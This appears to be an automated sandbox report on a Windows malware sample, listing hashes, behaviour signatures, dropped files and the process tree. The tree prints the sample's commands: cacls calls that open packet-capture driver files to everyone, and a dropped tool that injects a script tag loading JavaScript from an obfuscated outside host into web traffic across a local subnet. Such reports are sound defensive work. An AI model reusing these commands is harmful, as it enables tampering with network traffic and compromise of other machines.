Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 06:07

General

  • Target

    72dd19ade2070a1421bd7c1d95f7fd3e_JaffaCakes118.exe

  • Size

    177KB

  • MD5

    72dd19ade2070a1421bd7c1d95f7fd3e

  • SHA1

    b91290d72c58beba3bf7c78ab92fdf937487d149

  • SHA256

    8dd1be60829d95e29f1d0644c4254ff8e4758d6b67dcbac6b1661eabb5b24617

  • SHA512

    0d880aca29b7ec9725aca38d65302b3121d31d6efbd8f3f6faa4c33ac662fd34f53c09c668ec7fd5140c38bc63307df60e03415954d71976f0594ad095705a38

  • SSDEEP

    3072:CsfO80c5HJujHDHKeHgZdAZqJ+gu0iHuprLwoNl8GToutQ:PfO8X5knKeHRqJ2lyU6VoSQ

Score
8/10

Malware Config

Signatures

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\72dd19ade2070a1421bd7c1d95f7fd3e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\72dd19ade2070a1421bd7c1d95f7fd3e_JaffaCakes118.exe"
    1⤵
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2996
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2752
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3776
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:764
    • C:\Windows\SysWOW64\cacls.exe
      "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4320
    • C:\Windows\SysWOW64\360uaea.exe
      -idx 0 -ip 10.127.1.2-10.127.1.254 -port 80 -insert "<script language=JavaScript src=http://c%65s.K%77%69k.%54o/tj.js></script>"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2280
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 12.bat
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1148

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\12.bat

    Filesize

    2KB

    MD5

    6c83a1190bdb2e746f13b6110e3e0e1c

    SHA1

    14031dbab6cd364026ccb2ac72efac05d0b77d51

    SHA256

    aff3705b95bbccb41c266568a1a687af750528c1dcea5d5b062575c6b7575a97

    SHA512

    e5a59e180fff5c887c037b1012e1722c557d1baf3c0ad5a5d99cd7d6213c02adb0de7c32c9c59d50cb966b36fe81b41bc4e328d8e54e99b30852174ff74c8e65

  • C:\Windows\SysWOW64\360uaea.exe

    Filesize

    8.0MB

    MD5

    a9c6fe21771bce09fe8f82dd463e8863

    SHA1

    b18aa37b478bd3facde96f2250a18647846b8a60

    SHA256

    8c6dcfb66910948270114d1dc1e272f1158d149e49873de02bb1a9cc1f78b991

    SHA512

    1e4abecbeb1750ab037fd4bef1b4b686dce96580a7efba7ee7189e6269e6a6cc62df9bb795dec2a08d59772bfa074e3331c821b04c6ab040bc2aba5263a24f69

  • C:\Windows\SysWOW64\Packet.dll

    Filesize

    86KB

    MD5

    9062aeea8cbfc4f0780bbbefad7cebcb

    SHA1

    c4ad39ec51ad0e84fe58f62931d13cddfde3189e

    SHA256

    b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

    SHA512

    60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

  • C:\Windows\SysWOW64\WanPacket.dll

    Filesize

    66KB

    MD5

    fdd104a9fd3427a1df37041fa947a041

    SHA1

    cca1881a3c02033008f78cc39b712b637c7f3e13

    SHA256

    384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

    SHA512

    9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

  • C:\Windows\SysWOW64\wpcap.dll

    Filesize

    234KB

    MD5

    ce842d25e5b7e6ff21a86cad9195fbe8

    SHA1

    d762270be089a89266b012351b52c595e260b59b

    SHA256

    7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

    SHA512

    84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

  • memory/1708-0-0x0000000000400000-0x0000000000485000-memory.dmp

    Filesize

    532KB

  • memory/1708-1-0x0000000000400000-0x0000000000485000-memory.dmp

    Filesize

    532KB

  • memory/1708-3-0x0000000000400000-0x0000000000485000-memory.dmp

    Filesize

    532KB

  • memory/2280-10-0x0000000000400000-0x000000000040F000-memory.dmp

    Filesize

    60KB

  • memory/2280-21-0x0000000000460000-0x0000000000470000-memory.dmp

    Filesize

    64KB

  • memory/2280-17-0x0000000000440000-0x0000000000455000-memory.dmp

    Filesize

    84KB

  • memory/2280-22-0x0000000000400000-0x000000000040F000-memory.dmp

    Filesize

    60KB